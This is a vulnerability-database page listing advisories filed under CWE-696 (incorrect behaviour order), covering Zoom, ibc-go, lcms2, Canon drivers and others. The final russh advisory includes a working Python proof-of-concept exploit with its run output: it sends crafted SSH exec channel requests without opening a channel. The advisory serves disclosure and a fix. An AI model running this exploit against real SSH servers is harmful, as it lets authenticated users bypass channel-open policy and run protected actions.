CWE-696
Allowed-with-ReviewIncorrect Behavior Order
Abstraction: Class · Status: Incomplete
The product performs multiple related behaviors, but the behaviors are performed in the wrong order in ways that may produce resultant weaknesses.
81 vulnerabilities reference this CWE, most recent first.
GHSA-FGCQ-9C7C-C4JV
Vulnerability from github – Published: 2025-03-11 18:32 – Updated: 2025-03-11 18:32Incorrect behavior order in some Zoom Workplace Apps for iOS before version 6.3.0 may allow an authenticated user to conduct a denial of service via network access.
{
"affected": [],
"aliases": [
"CVE-2025-0150"
],
"database_specific": {
"cwe_ids": [
"CWE-696"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-03-11T18:15:29Z",
"severity": "HIGH"
},
"details": "Incorrect behavior order in some Zoom Workplace Apps for iOS before version 6.3.0 may allow an authenticated user to conduct a denial of service via network access.",
"id": "GHSA-fgcq-9c7c-c4jv",
"modified": "2025-03-11T18:32:19Z",
"published": "2025-03-11T18:32:19Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-0150"
},
{
"type": "WEB",
"url": "https://www.zoom.com/en/trust/security-bulletin/zsb-25009"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-FJGV-863Q-H54R
Vulnerability from github – Published: 2025-06-23 21:31 – Updated: 2025-06-23 21:31In WhiteBeam 0.2.0 through 0.2.1 before 0.2.2, a user with local access to a server can bypass the allow-list functionality because a file can be truncated in the OpenFileDescriptor action before the VerifyCanWrite action is performed.
{
"affected": [],
"aliases": [
"CVE-2021-47688"
],
"database_specific": {
"cwe_ids": [
"CWE-696"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-06-23T20:15:26Z",
"severity": "MODERATE"
},
"details": "In WhiteBeam 0.2.0 through 0.2.1 before 0.2.2, a user with local access to a server can bypass the allow-list functionality because a file can be truncated in the OpenFileDescriptor action before the VerifyCanWrite action is performed.",
"id": "GHSA-fjgv-863q-h54r",
"modified": "2025-06-23T21:31:56Z",
"published": "2025-06-23T21:31:56Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/WhiteBeamSec/WhiteBeam/security/advisories/GHSA-3f8r-9483-pfxj"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-47688"
},
{
"type": "WEB",
"url": "https://github.com/WhiteBeamSec/WhiteBeam/pull/22"
},
{
"type": "WEB",
"url": "https://github.com/WhiteBeamSec/WhiteBeam/security/policy"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-FJH6-P566-WR6Q
Vulnerability from github – Published: 2022-07-21 22:35 – Updated: 2022-07-21 22:35Impact
Vulnerable library protobuf-java 3.11.4 (CVE-2021-22569)
Patches
Dependency updated in jadx 1.4.3
References
According to the AquaSecurity report:

Also, Maven repository have links to this and other vulnerabilities from dependencies: https://mvnrepository.com/artifact/com.google.protobuf/protobuf-java/3.11.4
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.4.2"
},
"package": {
"ecosystem": "Maven",
"name": "io.github.skylot:jadx-core"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.4.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-696"
],
"github_reviewed": true,
"github_reviewed_at": "2022-07-21T22:35:12Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Impact\nVulnerable library protobuf-java 3.11.4 (CVE-2021-22569)\n\n### Patches\nDependency updated in jadx 1.4.3\n\n### References\nAccording to the AquaSecurity report:\n\n\nAlso, Maven repository have links to this and other vulnerabilities from dependencies:\nhttps://mvnrepository.com/artifact/com.google.protobuf/protobuf-java/3.11.4",
"id": "GHSA-fjh6-p566-wr6q",
"modified": "2022-07-21T22:35:12Z",
"published": "2022-07-21T22:35:12Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/skylot/jadx/security/advisories/GHSA-fjh6-p566-wr6q"
},
{
"type": "PACKAGE",
"url": "https://github.com/skylot/jadx"
},
{
"type": "WEB",
"url": "https://github.com/skylot/jadx/releases/tag/v1.4.3"
}
],
"schema_version": "1.4.0",
"severity": [],
"summary": "skylot jadx affected by Incorrect Behavior Order in vulnerable dependency"
}
GHSA-G7V6-X8XJ-FVJM
Vulnerability from github – Published: 2026-06-20 21:31 – Updated: 2026-06-20 21:31GNU Savannah Administration Savane through 3.17 uses untrusted data as part of authorization.
{
"affected": [],
"aliases": [
"CVE-2026-56355"
],
"database_specific": {
"cwe_ids": [
"CWE-696"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-06-20T21:16:54Z",
"severity": "LOW"
},
"details": "GNU Savannah Administration Savane through 3.17 uses untrusted data as part of authorization.",
"id": "GHSA-g7v6-x8xj-fvjm",
"modified": "2026-06-20T21:31:24Z",
"published": "2026-06-20T21:31:24Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-56355"
},
{
"type": "WEB",
"url": "https://cgit.git.savannah.gnu.org/cgit/administration/savane.git/tree/frontend/php/file.php?h=release-3.17#n113"
},
{
"type": "WEB",
"url": "https://cgit.git.savannah.gnu.org/cgit/administration/savane.git/tree/frontend/php/file.php?h=release-3.17#n123"
},
{
"type": "WEB",
"url": "https://news.ycombinator.com/item?id=48605220"
},
{
"type": "WEB",
"url": "https://www.fsf.org/news/statement-regarding-gnu-savannah-security-reports"
},
{
"type": "WEB",
"url": "https://www.hacktron.ai"
},
{
"type": "WEB",
"url": "https://www.mallory.ai/stories/019ee445-bdd4-7775-93b5-a8faaf5c2eb7"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-HC77-37FQ-X324
Vulnerability from github – Published: 2026-04-18 09:30 – Updated: 2026-05-07 18:30Little CMS (lcms2) through 2.18 has an integer overflow in CubeSize in cmslut.c because the overflow check is performed after the multiplication.
{
"affected": [],
"aliases": [
"CVE-2026-41254"
],
"database_specific": {
"cwe_ids": [
"CWE-190",
"CWE-696"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-04-18T07:16:10Z",
"severity": "MODERATE"
},
"details": "Little CMS (lcms2) through 2.18 has an integer overflow in CubeSize in cmslut.c because the overflow check is performed after the multiplication.",
"id": "GHSA-hc77-37fq-x324",
"modified": "2026-05-07T18:30:33Z",
"published": "2026-04-18T09:30:20Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/mm2/Little-CMS/security/advisories/GHSA-4xp6-rcgg-m9qq"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41254"
},
{
"type": "WEB",
"url": "https://github.com/mm2/Little-CMS/commit/da6110b1d14abc394633a388209abd5ebedd7ab0"
},
{
"type": "WEB",
"url": "https://github.com/mm2/Little-CMS/commit/e0641b1828d0a1af5ecb1b11fe22f24fceefd4bc"
},
{
"type": "WEB",
"url": "https://abhinavagarwal07.github.io/posts/lcms2-cubesize-overflow"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2026/05/msg00014.html"
},
{
"type": "WEB",
"url": "https://www.openwall.com/lists/oss-security/2026/04/17/16"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-HJ6X-RH93-R6V7
Vulnerability from github – Published: 2026-07-30 09:31 – Updated: 2026-07-30 09:31Due to a flaw in the execution order of scripts during shutdown, the firewall is terminated prematurely during system shutdown. This creates a temporary window in which internal services may become externally accessible, potentially allowing an unauthenticated remote attacker to connect to these services, resulting in full system compromise.
{
"affected": [],
"aliases": [
"CVE-2026-44108"
],
"database_specific": {
"cwe_ids": [
"CWE-696"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-30T07:16:59Z",
"severity": "CRITICAL"
},
"details": "Due to a flaw in the execution order of scripts during shutdown, the firewall is terminated prematurely during system shutdown. This creates a temporary window in which internal services may become externally accessible, potentially allowing an unauthenticated remote attacker to connect to these services, resulting in full system compromise.",
"id": "GHSA-hj6x-rh93-r6v7",
"modified": "2026-07-30T09:31:18Z",
"published": "2026-07-30T09:31:18Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44108"
},
{
"type": "WEB",
"url": "https://www.certvde.com/en/advisories/VDE-2026-008"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-HV8V-H5Q2-GMV5
Vulnerability from github – Published: 2025-09-29 03:30 – Updated: 2025-09-29 03:30Unallocated memory access vulnerability in print processing of Generic Plus PCL6 Printer Driver / Generic Plus UFR II Printer Driver / Generic Plus LIPS4 Printer Driver / Generic Plus LIPSLX Printer Driver / Generic Plus PS Printer Driver
{
"affected": [],
"aliases": [
"CVE-2025-9904"
],
"database_specific": {
"cwe_ids": [
"CWE-696"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-09-29T01:15:35Z",
"severity": "MODERATE"
},
"details": "Unallocated memory access vulnerability in print processing of Generic Plus PCL6 Printer Driver / Generic Plus UFR II Printer Driver / Generic Plus LIPS4 Printer Driver / Generic Plus LIPSLX Printer Driver / Generic Plus PS Printer Driver",
"id": "GHSA-hv8v-h5q2-gmv5",
"modified": "2025-09-29T03:30:20Z",
"published": "2025-09-29T03:30:20Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-9904"
},
{
"type": "WEB",
"url": "https://canon.jp/support/support-info/250925vulnerability-response"
},
{
"type": "WEB",
"url": "https://psirt.canon/advisory-information/cp2025-005"
},
{
"type": "WEB",
"url": "https://www.canon-europe.com/support/product-security"
},
{
"type": "WEB",
"url": "https://www.usa.canon.com/about-us/to-our-customers/cp2025-005-vulnerabilities-remediation-for-certain-printer-drivers-for-production-printers-office-small-office-multifunction-printers-laser-printers"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-J496-CRGH-34MX
Vulnerability from github – Published: 2024-04-05 17:16 – Updated: 2024-04-05 17:16Name: ASA-2024-007: Potential Reentrancy using Timeout Callbacks in ibc-hooks Component: ibc-go Criticality: Critical (ACMv1: I:Critical; L:AlmostCertain) Affected versions: < v4.6.0, < v5.4.0, < v6.3.0, < v7.4.0, < v8.2.0 Affected users: Chain Builders + Maintainers
Summary
Through the deployment and subsequent use of a malicious CosmWasm contract via IBC interactions, an attacker could potentially execute the same MsgTimeout inside the IBC hook for the OnTimeout callback before the packet commitment is deleted. On chains where ibc-hooks wraps ICS-20, this vulnerability may allow for the logic of the OnTimeout callback of the transfer application to be recursively executed, leading to a condition that may present the opportunity for the loss of funds from the escrow account or unexpected minting of tokens.
Affected Configurations
Chains which satisfy all of the following requirements are considered to be impacted by this vulnerability: * Chain is IBC-enabled and uses a vulnerable version of ibc-go * Chain is CosmWasm-enabled and allows code uploads for wasm contracts by anyone, or by authorized parties (to a lesser extent) * Chain utilizes the ibc-hooks middleware and wraps ICS-20 transfer application
Next Steps for Impacted Chain Builders and Maintainers
It is advised to immediately upgrade to the latest patch fix version of ibc-go for your chain. If you have already applied a soft-patch through private coordination, we recommend additionally updating to the latest ibc-go version via normal software upgrade governance.
If you have not upgraded your chain yet, and you desire to mitigate exposure to this vulnerability in the meantime, it is advisable to limit code uploading for contracts to trusted parties on your chain.
If your chain only allows permissioned, access-controlled contract uploads, it is still strongly recommended to update to the latest patched ibc-go version for your chain per your normal software upgrade process.
Preparing for future coordination
If your chain would like to be included in future coordination efforts, please ensure your chain has a prominently displayed or otherwise easily available up-to-date email address for technical security contact available. A security.md file in the root of your projects’ code repository should contain this information. Additionally, please test this security contact with an unaffiliated email to ensure it works as expected and can receive emails from outside of your domain.
To ensure that your chain is included in future impact assessments, please keep your chain information up to date in the Cosmos Chain Registry with code location, network name, and public RPC and API endpoints in the details.
We recommend that all chains configure and practice the use of the Circuit Breaker module in the Cosmos SDK, as future vulnerability notifications may require the use of this mechanism as a mitigation against exploitation.
Recognition
This issue was reported to the Cosmos Bug Bounty Program on HackerOne on 3/26/24 by Maxwell Dulin (Strikeout) at Asymmetric Research. If you believe you have found a bug in the Interchain Stack or would like to contribute to the program by reporting a bug, please see https://hackerone.com/cosmos.
Notes
Due to the critical nature of this issue, both the ibc-go team and Amulet independently performed impact assessments for the ecosystem, which informed a risk-driven private patching effort that preceded this public release. This private patching effort significantly reduced the exposure of the ecosystem to this vulnerability. We appreciate the diligence and professionalism of all chains and validators involved with this effort – your ability to move quickly while maintaining confidentiality was instrumental in protecting the wider Interchain Ecosystem.
If you ever have questions about security coordination efforts, public or private, please reach out to our official communication channel at security@interchain.io.
For more information about ibc-go, please see https://ibc.cosmos.network/main.
For more information about the Interchain Foundation’s engagement with Amulet, please see https://github.com/interchainio/security.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/cosmos/ibc-go/v4"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.6.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/cosmos/ibc-go/v5"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "5.4.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/cosmos/ibc-go/v6"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "6.3.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/cosmos/ibc-go/v7"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "7.4.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/cosmos/ibc-go/v8"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "8.2.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c 4.6.0"
},
"package": {
"ecosystem": "Go",
"name": "github.com/cosmos/ibc-go/v3"
},
"ranges": [
{
"events": [
{
"introduced": "0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c 4.6.0"
},
"package": {
"ecosystem": "Go",
"name": "github.com/cosmos/ibc-go/v2"
},
"ranges": [
{
"events": [
{
"introduced": "0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c 4.6.0"
},
"package": {
"ecosystem": "Go",
"name": "github.com/cosmos/ibc-go"
},
"ranges": [
{
"events": [
{
"introduced": "0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-696"
],
"github_reviewed": true,
"github_reviewed_at": "2024-04-05T17:16:01Z",
"nvd_published_at": null,
"severity": "CRITICAL"
},
"details": "**Name**: ASA-2024-007: Potential Reentrancy using Timeout Callbacks in ibc-hooks\n**Component**: ibc-go\n**Criticality**: Critical ([ACMv1](https://github.com/interchainio/security/blob/main/resources/CLASSIFICATION_MATRIX.md): I:Critical; L:AlmostCertain)\n**Affected versions**: \u003c v4.6.0, \u003c v5.4.0, \u003c v6.3.0, \u003c v7.4.0, \u003c v8.2.0\n**Affected users**: Chain Builders + Maintainers\n\n# Summary\n\nThrough the deployment and subsequent use of a malicious CosmWasm contract via IBC interactions, an attacker could potentially execute the same `MsgTimeout` inside the IBC hook for the `OnTimeout` callback before the packet commitment is deleted. On chains where ibc-hooks wraps ICS-20, this vulnerability may allow for the logic of the `OnTimeout` callback of the transfer application to be recursively executed, leading to a condition that may present the opportunity for the loss of funds from the escrow account or unexpected minting of tokens.\n\n# Affected Configurations\n\nChains which satisfy all of the following requirements are considered to be impacted by this vulnerability:\n* Chain is IBC-enabled and uses a vulnerable version of ibc-go\n* Chain is CosmWasm-enabled and allows code uploads for wasm contracts by anyone, or by authorized parties (to a lesser extent)\n* Chain utilizes the ibc-hooks middleware and wraps ICS-20 transfer application\n\n# Next Steps for Impacted Chain Builders and Maintainers\n\nIt is advised to immediately upgrade to the latest patch fix version of ibc-go for your chain. If you have already applied a soft-patch through private coordination, we recommend additionally updating to the latest ibc-go version via normal software upgrade governance.\n\nIf you have not upgraded your chain yet, and you desire to mitigate exposure to this vulnerability in the meantime, it is advisable to limit code uploading for contracts to trusted parties on your chain.\n\n**If your chain only allows permissioned, access-controlled contract uploads, it is still strongly recommended to update to the latest patched ibc-go version for your chain per your normal software upgrade process.**\n\n# Preparing for future coordination\n\nIf your chain would like to be included in future coordination efforts, please ensure your chain has a prominently displayed or otherwise easily available up-to-date email address for technical security contact available. A security.md file in the root of your projects\u2019 code repository should contain this information. Additionally, please test this security contact with an unaffiliated email to ensure it works as expected and can receive emails from outside of your domain.\n\nTo ensure that your chain is included in future impact assessments, please keep your chain information up to date in the [Cosmos Chain Registry](https://github.com/cosmos/chain-registry) with code location, network name, and public RPC and API endpoints in the details.\n\nWe recommend that all chains configure and practice the use of the [Circuit Breaker module](https://docs.cosmos.network/main/build/modules/circuit) in the Cosmos SDK, as future vulnerability notifications may require the use of this mechanism as a mitigation against exploitation.\n\n# Recognition\n\nThis issue was reported to the Cosmos Bug Bounty Program on HackerOne on 3/26/24 by Maxwell Dulin (Strikeout) at [Asymmetric Research](https://www.asymmetric.re/). If you believe you have found a bug in the Interchain Stack or would like to contribute to the program by reporting a bug, please see https://hackerone.com/cosmos.\n\n# Notes\n\nDue to the critical nature of this issue, both the ibc-go team and Amulet independently performed impact assessments for the ecosystem, which informed a risk-driven private patching effort that preceded this public release. This private patching effort significantly reduced the exposure of the ecosystem to this vulnerability. We appreciate the diligence and professionalism of all chains and validators involved with this effort \u2013 your ability to move quickly while maintaining confidentiality was instrumental in protecting the wider Interchain Ecosystem. \n\nIf you ever have questions about security coordination efforts, public or private, please reach out to our official communication channel at [security@interchain.io](mailto:security@interchain.io).\n\nFor more information about ibc-go, please see https://ibc.cosmos.network/main.\n\nFor more information about the Interchain Foundation\u2019s engagement with Amulet, please see https://github.com/interchainio/security.\n\n",
"id": "GHSA-j496-crgh-34mx",
"modified": "2024-04-05T17:16:01Z",
"published": "2024-04-05T17:16:01Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/cosmos/ibc-go/security/advisories/GHSA-j496-crgh-34mx"
},
{
"type": "WEB",
"url": "https://github.com/cosmos/ibc-go/commit/04275aa77644dec97fb91b749d963c992591b7f7"
},
{
"type": "WEB",
"url": "https://github.com/cosmos/ibc-go/commit/278fa89f192af04af32d82fd5ef41f84f82edd97"
},
{
"type": "WEB",
"url": "https://github.com/cosmos/ibc-go/commit/5e2e9ebc2f67df324028dd36a1837ffcc8e6b0dd"
},
{
"type": "WEB",
"url": "https://github.com/cosmos/ibc-go/commit/a0185df3953070ba5ebcb66735925449d1dbe729"
},
{
"type": "WEB",
"url": "https://github.com/cosmos/ibc-go/commit/e78b3a2b9c9ce80a67d6b1c2b7f9abcb225cc219"
},
{
"type": "PACKAGE",
"url": "https://github.com/cosmos/ibc-go"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "ibc-go: Potential Reentrancy using Timeout Callbacks in ibc-hooks"
}
GHSA-M65R-RPRJ-R5RG
Vulnerability from github – Published: 2026-08-03 15:35 – Updated: 2026-08-03 15:35There is a server-side channel state issue in russh.
After a client is authenticated, russh can dispatch channel-scoped handler callbacks for recipient channel IDs that were never opened or confirmed. In the strongest reproduced case, the client does not send SSH_MSG_CHANNEL_OPEN at all. It authenticates normally, then sends SSH_MSG_CHANNEL_REQUEST packets with request type exec for a range of recipient channel IDs. russh still calls the server application's exec_request handler.
This is not an authentication bypass. A valid login is required. The issue is that the SSH channel lifecycle is not enforced before channel-scoped callbacks are delivered to the application.
Impact
An authenticated client can bypass the server application's channel-open policy.
A server may deny session channels by returning false from Handler::channel_open_session. A server may also assume that callbacks such as exec_request, shell_request, subsystem_request, data, channel_eof, or channel_close are only delivered for channels that were opened and confirmed by the SSH transport layer.
That assumption does not hold in the vulnerable path. A malicious authenticated peer can send channel-scoped messages for arbitrary recipient channel IDs and cause handler callbacks to run even though no channel exists.
The exact impact depends on the downstream application. For many SSH server use cases, exec_request, shell_request, or subsystem_request start commands, jobs, shells, SFTP-like subsystems, internal workflows, or other state-changing operations. In the PoC, the protected exec_request action runs even though no channel was opened.
Why this is not intended behavior
SSH channel requests are not global post-authentication requests. They are operations on an existing channel.
RFC 4254 describes channel-specific messages as carrying a recipient channel number. The exec request is a SSH_MSG_CHANNEL_REQUEST for a session channel. That means the recipient channel should refer to a channel that exists in the local open-channel state.
The relevant boundary is therefore not password authentication. The boundary is the channel-open decision. If no channel has been opened, or if the application denied the open request, russh should not deliver session-specific callbacks for that recipient ID.
This is also not just a handler bug. The handler does not own the transport channel table. russh does. The application gets a channel_open_* callback and returns whether the channel is allowed. If that decision is denied, or if the client never requested a channel at all, channel-scoped callbacks should not be reachable.
Documentation and API boundary
The public API documentation supports this boundary.
channel_open_session is the application hook for creating a new session channel, and its boolean return value is the application's decision on whether that channel open should be granted. Separately, exec_request is the application hook for deciding what to do with a command request received on a channel.
Those are different responsibilities. The application can decide whether a command is allowed. The library must first decide whether the recipient channel exists and was actually opened.
Delivering exec_request for a recipient ChannelId that is absent from the established channel table bypasses the channel-open decision before the application can safely rely on it.
Root cause
In server_read_authenticated in russh/src/server/encrypted.rs, channel-scoped messages are decoded and then dispatched to handler callbacks without a mandatory check that the recipient channel is established in the encrypted session's channel table.
The problematic pattern is visible in the CHANNEL_REQUEST handling. The code reads the recipient channel ID and request fields. It may look up the channel to send an internal ChannelMsg into the stream API, but the handler callback is outside that guard.
For example, the exec branch has this shape:
"exec" => {
let req = map_err!(Bytes::decode(r))?;
map_err!(ensure_end(r))?;
if let Some(chan) = self.channels.get(&channel_num) {
let _ = chan
.send(ChannelMsg::Exec {
want_reply: true,
command: req.to_vec(),
})
.await;
}
handler.exec_request(channel_num, &req, self).await
}
If channel_num is not open, the internal send is skipped, but handler.exec_request(...) is still called.
The same issue applies to other channel-scoped callbacks such as shell_request, subsystem_request, env_request, pty_request, data, extended_data, channel_eof, and channel_close.
There is a second related problem in server_handle_channel_open. The application-side channel reference can be inserted into self.channels even when the handler returns Ok(false). The protocol table enc.channels is only populated when the open is actually allowed. This means the two maps can diverge after a denied open.
The authoritative source for whether a channel is established should be enc.channels, not self.channels.
Evidence from the PoC
The PoC uses a real russh server over localhost TCP. It uses real authentication with username alice and password correct. Paramiko is used only as an authenticated SSH peer that can send crafted packets over the real encrypted SSH transport.
POC Code :
import argparse
import sys
import time
import paramiko
from paramiko.common import MSG_CHANNEL_REQUEST, cMSG_CHANNEL_REQUEST
from paramiko.message import Message
from paramiko.ssh_exception import ChannelException
CHANNEL_SCAN_END = 32
def connect(port: int) -> paramiko.Transport:
transport = paramiko.Transport(("127.0.0.1", port))
transport.connect(username="alice", password="correct")
return transport
def normal_allowed(port: int) -> None:
transport = connect(port)
print("normal client: CHANNEL_OPEN session")
channel = transport.open_session(timeout=5)
print("normal client: session open confirmed")
print('normal client: exec "protected"')
channel.exec_command("protected")
time.sleep(0.25)
channel.close()
transport.close()
def normal_denied(port: int) -> None:
transport = connect(port)
print("normal client: CHANNEL_OPEN session")
try:
transport.open_session(timeout=5)
except ChannelException:
print("normal client: session open denied")
pass
else:
raise RuntimeError("normal denied control unexpectedly opened a session channel")
time.sleep(0.25)
transport.close()
def send_exec_request(transport: paramiko.Transport, recipient_channel: int) -> None:
print(
"crafted packet: "
f"SSH_MSG_CHANNEL_REQUEST({MSG_CHANNEL_REQUEST}) "
f"recipient_channel={recipient_channel} "
'request_type="exec" '
'command="protected"'
)
msg = Message()
msg.add_byte(cMSG_CHANNEL_REQUEST)
msg.add_int(recipient_channel)
msg.add_string("exec")
msg.add_boolean(True)
msg.add_string(b"protected")
transport._send_user_message(msg)
def exploit_denied(port: int) -> None:
transport = connect(port)
print("malicious peer: CHANNEL_OPEN session")
try:
transport.open_session(timeout=5)
except ChannelException:
print("malicious peer: session open denied")
else:
raise RuntimeError("exploit setup unexpectedly opened a session channel")
print(f"malicious peer: scanning recipient channel ids 0..{CHANNEL_SCAN_END - 1}")
for channel_id in range(CHANNEL_SCAN_END):
send_exec_request(transport, channel_id)
time.sleep(0.01)
time.sleep(0.5)
transport.close()
def exploit_without_open(port: int) -> None:
transport = connect(port)
print("malicious peer: no CHANNEL_OPEN sent")
print(f"malicious peer: scanning recipient channel ids 0..{CHANNEL_SCAN_END - 1}")
for channel_id in range(CHANNEL_SCAN_END):
send_exec_request(transport, channel_id)
time.sleep(0.01)
time.sleep(0.5)
transport.close()
def main() -> int:
parser = argparse.ArgumentParser()
parser.add_argument(
"--mode",
choices=["allowed", "denied", "denied-open", "noopen"],
required=True,
)
parser.add_argument("--port", type=int, required=True)
args = parser.parse_args()
if args.mode == "allowed":
normal_allowed(args.port)
elif args.mode == "denied":
normal_denied(args.port)
elif args.mode == "noopen":
exploit_without_open(args.port)
else:
exploit_denied(args.port)
return 0
if __name__ == "__main__":
sys.exit(main())
The crafted packet form is:
SSH_MSG_CHANNEL_REQUEST(98)
recipient_channel = N
request_type = "exec"
command = "protected"
The PoC runs normal controls and exploit cases in one execution.
Allowed control
This proves the protected action works normally when a session channel is opened.
normal client: CHANNEL_OPEN session
normal client: session open confirmed
normal client: exec "protected"
channel_open_session called: 1
exec_request called: 1
protected action executed: 1
channel ever opened/confirmed: true
working recipient channel ids: [2]
Denied control
This proves the application policy denies session channels and a normal client cannot reach the protected action.
normal client: CHANNEL_OPEN session
normal client: session open denied
channel_open_session called: 1
exec_request called: 0
protected action executed: 0
channel ever opened/confirmed: false
working recipient channel ids: none
Main exploit: no channel open
This is the main issue.
The authenticated client does not send SSH_MSG_CHANNEL_OPEN. It sends crafted SSH_MSG_CHANNEL_REQUEST packets for recipient IDs 0..31.
malicious peer: no CHANNEL_OPEN sent
malicious peer: scanning recipient channel ids 0..31
channel_open_session called: 0
exec_request called: 32
protected action executed: 32
channel ever opened/confirmed: false
working recipient channel ids: [0, 1, 2, ..., 31]
This removes the "guessed channel ID" concern. Every scanned recipient ID reached the protected action in the vulnerable run.
Additional variant: denied open
The client asks for a session channel, the handler denies it, and the client then sends the same crafted requests.
malicious peer: CHANNEL_OPEN session
malicious peer: session open denied
channel_open_session called: 1
exec_request called: 32
protected action executed: 32
channel ever opened/confirmed: false
working recipient channel ids: [0, 1, 2, ..., 31]
The denied-open variant is not required for exploitability, but it shows the same state validation gap after an explicit application denial.
Affected code path
Verified at:
f1a0f180a02ccedf48d86f2c5e0361308cf6b7c6
v0.61.1-9-gf1a0f18
The affected logic is in:
russh/src/server/encrypted.rs
The vulnerable area is:
server_read_authenticated
Channel request dispatch decodes a recipient channel ID and calls request-specific handler callbacks without first requiring that the recipient ID exists as a confirmed channel in enc.channels.
The affected request callbacks include:
pty_request
x11_request
env_request
shell_request
agent_request
exec_request
subsystem_request
window_change_request
signal
The same missing established-channel guard affects:
CHANNEL_DATA
CHANNEL_EXTENDED_DATA
CHANNEL_EOF
CHANNEL_CLOSE
A related issue exists in:
server_handle_channel_open
Application channel references should not be retained for denied opens.
Why this belongs in russh
The application cannot reliably enforce the SSH transport channel lifecycle from inside individual callbacks. By the time exec_request is called, the application is already being told that a channel-scoped request exists. The library should not call that handler for a channel ID that does not exist in the confirmed channel table.
This is the same kind of invariant russh already applies for some channel state updates. The missing part is to apply the established-channel check consistently before all channel-scoped callbacks are dispatched.
The safe expectation is simple:
No established channel, no channel-scoped handler callback.
Suggested fix
Before dispatching any channel-scoped callback, require the recipient ChannelId to exist in the encrypted session's established channel table and to be confirmed.
The authoritative check should use enc.channels, not self.channels.
A minimal approach is to add a helper like:
fn ensure_established_channel(&self, channel: ChannelId) -> Result<(), Error> {
if self
.common
.encrypted
.as_ref()
.and_then(|enc| enc.channels.get(&channel))
.is_some_and(|channel| channel.confirmed)
{
Ok(())
} else {
Err(Error::Inconsistent)
}
}
Then call it before dispatching channel-scoped callbacks for:
CHANNEL_REQUEST
